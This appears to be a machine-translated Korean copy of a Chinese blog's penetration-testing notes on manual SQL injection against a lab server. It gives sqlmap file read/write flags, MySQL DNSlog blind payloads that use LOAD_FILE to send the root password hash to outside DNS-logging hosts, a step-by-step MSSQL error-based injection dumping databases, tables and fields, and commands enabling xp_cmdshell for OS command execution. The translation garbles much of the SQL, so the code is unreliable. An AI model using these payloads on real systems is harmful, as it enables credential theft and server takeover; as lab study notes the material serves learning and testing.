2019년 10월 29일 : 손 노트에 의해 주입 침투 테스트, 기반 학습,하는 SQLMaps 파일 읽기, 쓰기, dnslog 블라인드 액션, MSSQL

하는 SQLMaps 매개 변수
--file 읽기, 데이터베이스 서버에서 파일을 읽을
파일의 최종 도착 - --file 쓰기 , 데이터베이스 서버에 파일을 업로드

학습 플랫폼과 블라인드의 적용 dnslog
1 주입 지점 결정
(2), URL을 테스트 제공된 웹 사이트 DNSlog 분석 여부
SELECT LOAD_FILE (CONCAT는 ( '\\\\' (mysql 데이터베이스에서 user로부터 비밀번호를 SELECT WHERE 사용자 = '루트'를 LIMIT 1))). 'mysql.ip.port.b182oj.ceye.io \\ ABC.';
선택 (SELECT) LOAD_FILE을, 파일을 읽을 수 있습니다, DNS 요청 할
예를 선택 LOAD_FILE (GROUP_CONCAT를 ( '\\\\ ' (CONCAT (사용자 암호를 선택한 사용자는 3,1 제한부터)))) '6rylw1tbh2htjx3hap90nqqj8ae02p.burpcollaborator.net .. \\ AAA.';
사이트 긴 응답 시간이이 해결 될 수 있는지 설명
접합 URL을 사용 CONCAT 3 데이터를 얻기 위해 SQL 문을 주입

손으로 주입 MSSQL
'//192.168.190.148/less-1.asp ID = 1 : 1 주입 지점, HTTP를 결정하기 위해 , 불완전 후 1'인용 제안 '? 주입 지점 예시
2 데이터베이스의 유형을 결정하고, HTTP :? //192.168.190.148/less-1.asp ID = 1 '및 (sysobjects의 선택 *) 존재 - 결과 기술 배경 데이터베이스 부여되지는 SQL 서버이며
상기 이 같은 공통 ASP + MSSQL, PHP + MySQL의 다른 방법, 일반적으로 프레임 조립 방법이다 / 에러 정보 페이지
3 선택 IS_SRVROLEMEMBER ( "시스템 관리자는 ' ) 가 있는지 여부를 판단 현재 SA, HTTP : //192.168.190.148/less- ? 1.asp의 식 (1 ') 및 ( iS_SRVROLEMEMBER (선택'0-->) 시스템 관리자)에 페이지 지시 sa 계정 부여되고 있지
(대한 db_owner ')를 선택 is_srvrolemember을'(db_owner를) 파일을 판독하는 파일 쓰기 권한 현재 사용자를 판별 은 http :? //192.168.190.148/less-1.asp ID = 1 '과 (is_srvrolemember 선택 ('대한 db_owner '))> 0--, 정보를 반환하지 않은 페이지는 데이터베이스가 읽어 보지 않았 및 쓰기 권한이 있음을 나타냅니다
(is_srvrolemember 선택' '공개 ) 표 버스트 수 공용 권한이 있는지의 여부를 결정 HTTP :? //192.168.190.148/less-1.asp ID = 1 '및 (is_srvrolemember 선택 ('공개))>

http://192.168.190.148/less-1.asp?id=1 '와 (@@ 버전 선택) = 1 -, 불평 및 SQL Server 버전을 올 것이다 결과를 반환합니다
, HTTP : //192.168.190.148/less 실패 - '[마이크로 소프트] [ODBC SQL Server 드라이버] [SQL 서버] NVARCHAR 값과 (사용자) = 1'DBO ' int 데이터 형식으로 변환됩니다 -1.asp ID = 1?. 부러 현재 사용자 DBO입니다
http://192.168.190.148/less-1.asp?id=1 '과합니다 (SELECT DB_NAME ()) = 1 - [은 Microsoft에서] [ODBC SQL Server 드라이버] [SQL 서버]에서 그것은 int 데이터 형식으로 NVARCHAR 값 '테스트'실패했습니다. 현재 데이터베이스 버스트 시험이다
은 SELECT DB_NAME (0)], 현재 데이터베이스에 대해 0, 0에서 함수를 파라미터 DB_NAME 함수의 변화는 모든 데이터베이스는 폭발 할
http://192.168.190.148/less-1.asp을 ? 위에서 언급 한 id = 1> 1-- '(마스터', '모델') ','aspcms과 SELECT 최고 1 이름없는 (에 WHERE 이름을 master..sysdatabases ')
master..sysdatabases에서 SELECT 상위 3 명을, 조회 할 수 있습니다 모든 데이터베이스, 플러스 조건, 이름이 아닙니다에서 ( 'DB_NAME ', 'DBNAME'

http://192.168.190.148/less-1.asp?id=1'and (test.sys.all_objects에서 상위 1 명을 선택 > 1--, 타입 = 'U'및 = 0를 is_ms_shipped 임) 제를 얻는 테이블 이메일
http://192.168.190.148/less-1.asp?id=1'and (test.sys.all_objects 최고. 1 유형 = 'U'= 0 is_ms_shipped이 아닌 이름 ( '이메일에서 SELECT 이름 '))> 1--, emalis의 제거는 첫 번째 테이블을 얻을 후,하지 차례의 증가에 테이블 얻을 모든 테이블 파산
현재 데이터베이스 테이블의 특정 필드를 얻기 위해 6
http://192.168.190.148/less-1 ID = 1 .ASP '및 (선택 test.information_schema.columns에서 상위 1 COLUMN_NAME 어디 TABLE_NAME ='사용자 ')> 1 - 첫 번째 필드를 획득
http://192.168.190.148/less-1.asp?id = 1 '(1을 선택하고 상단 누구나 어디 TABLE_NAME = test.information_schema.columns에서 COLUMN_NAME' '와 (않고 COLUMN_NAME'ID '))> 1 - 이드의 첫 번째 필드를 얻는 외에,하지에 다시 필드 증가하면 모든 필드 이름을 얻을 수 있습니다
http://192.168.190.148/less-1.asp?id=1'and (SYSCOLUMNS에서 상위 1 이름을 선택 여기서 ID = OBJECT_ID ( '사용자'))> 1--, 제 1 필드 획득
에 http : // 192.168.190.148/less-1.asp?id=1'and (SYSCOLUMNS에서 상위 1 이름을 선택 여기서 없다 ( "ID")에서 ID = OBJECT_ID ( '사용자') 및 이름)> 1--, ID를 취득 이외에 첫번째 필드 밖에, 모든 필드를 획득 할 때까지 증가시키기 위해
테이블에 특정 필드 값을 획득하기 위해 7
http://192.168.190.148/less-1.asp?id=1 '및 (위에서 1 자명 선택 사용자를 행 )> 1 - 특정 데이터 필드를 취득 필드 만 수정 주입

xp_cmdshell을 확장 MSSQL
마스터에서 SELECT COUNT (*). 위해 xtype = 'X'AND 이름 = 'xp_cmdshell을'dbo.sysobjects xp_cmdshell을 오픈 연장 여부를 질의
호출이 확장 xp_cmdshell을 'whoami를'간부 master..xp_cmdshell
프롬프트 오류, SQL 서버 방지를 이 구성 요소의 일부로서 구성 요소의 xp_cmdshell을 '프로세스에'sys.xp_cmdshell의 액세스는, 보안 서버 구성으로 폐쇄되었다. 시스템 관리자는 sp_configure를 사용하여 'xp_cmdshell을'을 활성화 할 수 있습니다. 활성화 'xp_cmdshell을'에 대한 자세한 내용은 SQL Server 온라인 설명서의 "노출 영역 구성"을 참조하십시오.하시기 바랍니다 열기 쿼리 분석기를 수행하기 위해
, EXEC에게 sp_configure를을 ,. 1 '쇼 옵션 고급'
다시 구성을,
하며 sp_configure를 '을 xp_cmdshell을',. 1 EXEC
다시 구성을;

추천

출처www.cnblogs.com/sym945/p/11760806.html